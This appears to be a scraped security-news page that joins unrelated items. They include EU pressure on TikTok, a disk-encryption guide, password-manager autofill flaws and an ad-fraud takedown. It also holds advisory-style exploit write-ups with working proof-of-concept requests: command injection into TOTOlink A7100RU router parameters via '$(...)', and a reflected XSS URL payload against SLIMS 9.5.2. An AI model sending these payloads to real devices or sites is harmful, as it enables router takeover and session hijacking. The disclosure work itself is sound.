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Tags:  Vera Jourova

Tags:  Caroline Greer

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In a recent meeting with TikTok's CEO, EU commissioner Thierry Breton impressed upon the company the need to comply with EU laws in light of the DSA, the DMA, and the GDPR.



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EU Commissioner Thierry Breton, the EU's digital policy chief, "explicitly conveyed" to TikTok CEO Shou Zi Chew that the company must "step up efforts to comply" with the European Union's rules on copyright, data protection, and the Digital Services Act (DSA)—an EU regulation setting out "an unprecedented new standard for the accountability of online platforms regarding illegal and harmful content". 

According to the Associate Press, this transpired in a call on Thursday, January 19, wherein Breton and Chew discussed how TikTok plans to comply with the DSA, which is set to take effect on September 2023. The act will require online platforms to reduce harmful content online and combat online risks. Online platforms include (but may not be limited to) social networks and online marketplaces.

The West has been scrutinizing TikTok for years because of its parent company's potential ties with the government of the People's Republic of China. This alone brought up a lot of cybersecurity and privacy concerns. Though the company has consistently denied such a relationship, this didn't stop state governments and private companies from banning the app from worker and employee phones, labeling it an "unacceptable security risk" and a "Chinese Trojan Horse", accusing it of being a tool to promote various forms of misinformation and spying, and classing it as another social platform that doesn't take the security of children's privacy and well-being seriously.

"With younger audiences comes greater responsibility," Breton said, according to a readout of his call with Chew. "It is not acceptable that behind seemingly fun and harmless features, it takes users seconds to access harmful and sometimes even life-threatening content."

"We will not hesitate to adopt the full scope of sanctions to protect our citizens if audits do not show full compliance," Breton further said.

Early last week, four European Commission officials met with Chew in Brussels to discuss growing concerns from Western countries, ranging from online child safety to the flow of user data to China. According to partial readouts of the call published by Politico, they warned TikTok to respect EU law and begin working on building trust. On top of this, they discussed compliance with the DSA, the Digital Markets Act (DMA)—the very anti-competition regulation Apple had been preparing for—and the GDPR (General Data Protection Regulation).

"I count on TikTok to fully execute its commitments to go the extra mile in respecting EU law and regaining \[the\] trust of European regulators," EU Commissioner for Values and Transparency Vera Jourova had said during their meeting with Chew. "There cannot be any doubt that data of users in Europe are safe and not exposed to illegal access from third-country authorities."

TikTok's Director of Public Policy and Government Relations, Caroline Greer, tweeted that the safety of their users is paramount. "We also outlined our efforts to ensure compliance with the GDPR & the Code of Practice on Disinformation."

As if to demonstrate their seriousness regarding data security, TikTok's CEO revealed the people responsible for misusing journalist data to identify leaks were no longer with the company, confirming "it was wrong" for them to have done this.

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TikTok CEO told to "step up efforts to comply" with digital laws

Encrypting files, folders, and drives on your computer means that no one else can make sense of the data they contain without a particular decryption key—which in most cases is a password known only to you. 

So while someone could get at your files if they know your password (the decryption key), they won't be able to take out a drive from your system and access what's on it, or use a second computer to read your data—it'll all be gibberish. It means that if your Windows or macOS machine gets lost or stolen, you don't have to worry about someone using the data on it.

How the most popular operating systems have handled encryption has changed over the years, and there are third-party tools that give you more encryption options to choose from. We'll guide you through everything you need to know about these options to help you pick the right one.

Built-in Options for Windows

Device encryption is available in the Home versions of Windows.

Windows via David Nield

Encryption on Windows is a little more complicated than perhaps it should be. First of all, there are differences between the Windows Home and Windows Pro editions: Pro users get a powerful tool called BitLocker for encryption, but with the Home edition, there's a more basic alternative. It's simply referred to as device encryption, and you can find it by choosing **Privacy & security** and then **Device encryption** from the Settings panel in Windows.

Not so fast though, as this option won't appear for everyone: It requires a certain level of hardware security support from your desktop or laptop computer. It's all rather complex, and we don't have room to go into everything in detail here, but The Windows Club has an excellent explainer. If you search the Start menu for a tool called "system information," then right-click and run it as an administrator, you can see why your computer does or doesn't support this feature via the Device Encryption Support entry.

Assuming your hardware does meet all of the requirements, and the **Device encryption** entry is visible, you can click through it to see if your system drives are encrypted—they should be, by default, if you log in to your computer with a Microsoft account. It means that anyone who accesses your hard drives without that authorization won't be able to see the data on them, because it'll be encrypted and protected. If encryption isn't enabled for whatever reason, you can turn the toggle switch to **On**.

When it comes to external drives and USB sticks, if you have the Pro version of Windows you can use BitLocker: Just right-click on the drive in File Explorer, pick **Show more options** and **Turn on BitLocker**, and set a password. For those on the Home edition though, this option isn't available—you're going to have to use a third-party tool for the job of encrypting external drives, and we'll get on to those later on in this article.

Built-in Options for macOS

Use FileVault for maximum protection on a Mac.

Apple via David Nield

Encryption on macOS isn't quite as confusing as it is on Windows, but it still needs some explaining. If you have a Mac with a T2 security chip or Apple silicon inside (so one from late 2017 or later), then the contents of your system disk are encrypted by default. Your account password is required to get into the computer and at all of the data secured on the drive.

However, without getting into too much technical detail (which you can access here if you want to dive deeper), you can add an extra layer of encryption protection by enabling a tool called FileVault. Enabling FileVault means the information required to decrypt your Mac drive is harder to get at—if, for example, someone steals your computer and connects a second computer to it. Traditionally, this could impact speed and performance, but in recent years that's become less and less of a problem and is practically unnoticeable on the newest Macs.

You'll be asked to enable FileVault when you first set up macOS on a new machine, and it's something we'd recommend. You can also turn FileVault on (or off) whenever you like by opening the **Apple** menu and choosing **System Settings** then **Privacy & Security**. There's a FileVault option there, together with some details about what it does. You'll also need to specify your preferred way of unlocking the system disk if you ever forget your password, either through iCloud or through a dedicated recovery key.

You can encrypt external drives with a password from Finder: Just right-click on them and choose **Encrypt**. If the encryption option doesn't appear, the drive needs to be wiped and reformatted to be compatible—open the Disk Utility tool in macOS, click **View** and **Show All Devices**, then select the relevant external drive and click **Erase**. Give the drive a name, choose an encrypted option under **Format** (the options are explained here) and choose **GUID Partition Map** under **Scheme**. Pick your password, then click **Erase**, and the drive is ready to go.

Third-party Options for Windows and macOS

VeraCrypt makes it simple to encrypt an external drive.

VeraCrypt via David Nield

There are a variety of free and paid third-party encryption tools available if the options built into Windows and macOS don't suit your needs, including Cryptomator, NordLocker, and AxCrypt. However, we recommend one in particular, VeraCrypt: It's available for Windows and macOS (and indeed Linux,) it's not difficult to use, and it's free.

We also recommend reading through the online documentation that accompanies the program, but getting started is quite straightforward. Say you're encrypting an external drive, for example: With the drive plugged in and formatted, open VeraCrypt and choose **Create Volume**. Next, select **Encrypt a non-system partition/drive** and select **Next**. Select the drive you want to encrypt and follow the instructions on the screen.

During the configuration process, you'll be asked whether you want to encrypt the existing data already on the drive, or format it ready for files to be added—if you already have files on the drive that you don't want to be wiped, make sure you pick the former option. You'll also be asked to specify a password to lock the drive, which you should make sure you won't forget (you won't be able to access the drive without it).

VeraCrypt also lets you create containers, or sections of a drive that are encrypted. If you need to lock up specific files and folders without encrypting an entire disk for whatever reason, then this is one of the ways of going about it. From the main VeraCrypt screen, click **Create Volume**, then **Create an encrypted file container**. You'll be asked to specify a file on disk that then acts as the encrypted container for other files and folders.

How to Encrypt any File, Folder, or Drive on Your System

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the servername parameter in the setting/delStaticDhcpRules function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取servername参数下的内容传递给v7，之后将v7带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/delStaticDhcpRules",
"servername":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48123: ttt/15 at main · Am1ngl/ttt

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the FileName parameter in the setting/setOpenVpnCertGenerationCfg function.

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/setOpenVpnCertGenerationCfg",
"FileName":"1$(ls>/tmp/123;)"}

CVE-2022-48124: ttt/14 at main · Am1ngl/ttt

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the password parameter in the setting/setOpenVpnCertGenerationCfg function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取password参数下的内容传递给v26，之后将v26传递给v28，最后将v28带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/setOpenVpnCertGenerationCfg",
"password":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48125: ttt/13 at main · Am1ngl/ttt

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the username parameter in the setting/setOpenVpnCertGenerationCfg function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取username参数中的内容传递给v51，之后将v51带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/setOpenVpnCertGenerationCfg",
"username":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48126: ttt/12 at main · Am1ngl/ttt

TOTOlink A7100RU V7.4cu.2313_B20191024 was discovered to contain a command injection vulnerability via the dayvalid parameter in the setting/delStaticDhcpRules function.

**TOTOlink A7100RU(V7.4cu.2313\_B20191024)路由器存在命令注入漏洞****写在前面**

厂商信息：http://totolink.net/

固件下载地址：http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1.影响版本**

图1为固件版本信息

**2.漏洞细节**

程序通过获取dayvalid参数中的内容传递给v9，之后带入到Uci\_Set\_Str函数中

在Uci\_Set\_Str函数中，通过snprintf函数，将a4匹配到的内容格式化进v11，之后将v11带入cstesystem函数中

函数直接将用户输入内容带入到execv函数中，存在命令注入漏洞

**POC**

POST /cgi\-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content\-Length: 79
Accept: \*/\*
X\-Requested\-With: XMLHttpRequest
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content\-Type: application/x\-www\-form\-urencoded; charset\=UTF\-8
Origin: <http://192.168.0.1>
Referer: <http://192.168.0.1/adm/status.asp?timestamp=1647872753309>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q\=0.9
Cookie: SESSION\_ID\=2:1647872744:2
Connection: close

{"topicurl":"setting/delStaticDhcpRules",
"dayvalid":"1$(ls>/tmp/123;)"}

复现结果如下

图2 POC攻击效果

最后，您可以编写exp，这可以实现获得根shell的非常稳定的效果

CVE-2022-48122: ttt/17 at main · Am1ngl/ttt

Dashlane, Bitwarden, and Safari all cited by Google researchers

Dashlane, Bitwarden, and Safari all cited by Google researchers

Security shortcomings mean that multiple password managers could be tricked into auto-filling credentials on untrusted pages, security researchers at Google warn.

The team from Google went public with their findings on Tuesday (17 January), 90 days after notifying the applications – Dashlane, Bitwarden, and the built-in password manager bundled with Apple’s Safari browser – of the vulnerabilities.

Both Dashlane and Bitwarden have updated their software although Dashlane, at least, remains unconvinced that the bug represents any kind of security threat. The status of any fix for Apple’s Safari built-in password manager remains unconfirmed at the time of writing. The Daily Swig has asked Apple to comment and we’ll update this story as and when more information comes to hand.

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The security shortcomings outlined by Google mean that the vulnerable password managers auto-fill credentials into untrusted pages, without first requiring users to enter their master password.

An advisory from Google explains that the issue arises in two scenarios: where web pages have a CSP (content security policy) sandbox response header or where forms are inside a sandboxed iframe.

Auto-filling by password managers should not happen in either scenario but the affected applications all fail in this regard when encountering sandboxed content. Other password managers (including LastPass, 1Password, and Google Chrome’s password vault technology) avoid this mistake, said Google.

“Password managers should check whether content is sandboxed before auto-filling credentials. This can be done in many ways, but one way is to check self.origin of a page and refusing to fill in credentials if self.origin is ‘null’,” according to the Google advisory.

**Real world impact**

In response to a query from The Daily Swig, Bitwarden confirmed that the issue had been resolved through a recent pull request. Dashlane told The Daily Swig that it had also updated its technology even though it remains unconvinced there was a substantive problem in play.

“We’ve changed the behavior following the report (so the advisory is misleading),” Dashlane said. “We also don’t believe that it was a real issue to start with (the author doesn’t detail any real attack scenario nor answer our questions).”

Google is yet to respond to a request from The Daily Swig to respond to Dashlane’s criticisms of its research findings.

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Popular password managers auto-filled credentials on untrusted websites

Mainly Apple iOS in-app ads were targeted, injecting malicious JavaScript code to rack up phony views.

A sprawling new adware campaign that abused the Vast video ad server template to rack up fraudulent digital advertising views on an enormous scale has been shut down.

At its peak, the adware effort hit more than 12 billion requests per day.

Human Security's Satori threat intelligence team uncovered the adware campaign, touting it as the largest find in the cybersecurity research group's history. Following the discovery, Satori said it led a takedown of the ad fraud operation, which they dubbed as Vastflux.

The team added in its report that, in all, Vastflux spoofed more than 1,700 apps, targeted 1,200 publishers, and displayed ads on applications running on about 11 million devices.

"What was technically impressive and incredibly concerning about Vastflux \[were\] the fraudsters hijacked impressions on legitimate apps, which makes it nearly impossible for users to tell if they are impacted," Gavin Reid, Human's CISO, said.

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SLIMS version 9.5.2 suffers from a cross site scripting vulnerability.

    ## Title: SLIMS-9.5.2 - XSS Reflected - Account Exploit## Development: nu11secur1ty## Date: 01.19.2023## Vendor: https://slims.web.id/web/## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.5.2## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2## Description:The value of manual insertion `point 3` is copied into the HTMLdocument as plain text between tags.The payload udz21<script>alert(1)</script>rk346 was submitted inmanual insertion point 3.This input was echoed unmodified in the application's response.The attacker can trick the already logged-in user, to visit theexploit link that this attacker is created,and if this already logged-in user is not actually IT or admin, thiswill be the end of this system.## STATUS: HIGH Vulnerability[+] Exploit:```GET /slims9_bulian-9.5.2/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%27udz21%3Ca%20href=https://www.pornhub.com%3E%3Cimg%20src=https://i.postimg.cc/1tSM7Z7F/Hijacking-clipboard.gif%22%3E%50%6c%65%61%73%65%2c%20%76%69%73%69%74%20%6f%75%72%20%6d%61%69%6e%74%65%6e%61%6e%63%65%20%70%61%67%65%20%74%6f%20%63%68%65%63%6b%20%77%68%61%74%20%69%73%20%74%68%65%20%6c%61%74%65%73%74%20%6e%65%77%73%21%20%57%65%20%61%72%65%20%73%6f%72%72%79%20%66%6f%72%20%74%68%69%73%20%70%72%6f%62%6c%65%6d%21%20%54%68%69%73%20%77%69%6c%6c%20%62%65%20%66%69%78%65%64%20%73%6f%6f%6e&membershipType=a%27%27&collType=%27HTTP/1.1Host: pwnedhost1.comCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: SenayanAdmin=qavdssnj7kgu5g8a7d1pm0l3rr; admin_logged_in=1;SenayanMember=8f7c68j2b0pgbovehqcfuhcnl4Connection: close```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.5.2)## Proof and Exploit:[href](https://streamable.com/zd6e18)## Reference:[href](https://portswigger.net/web-security/cross-site-scripting)

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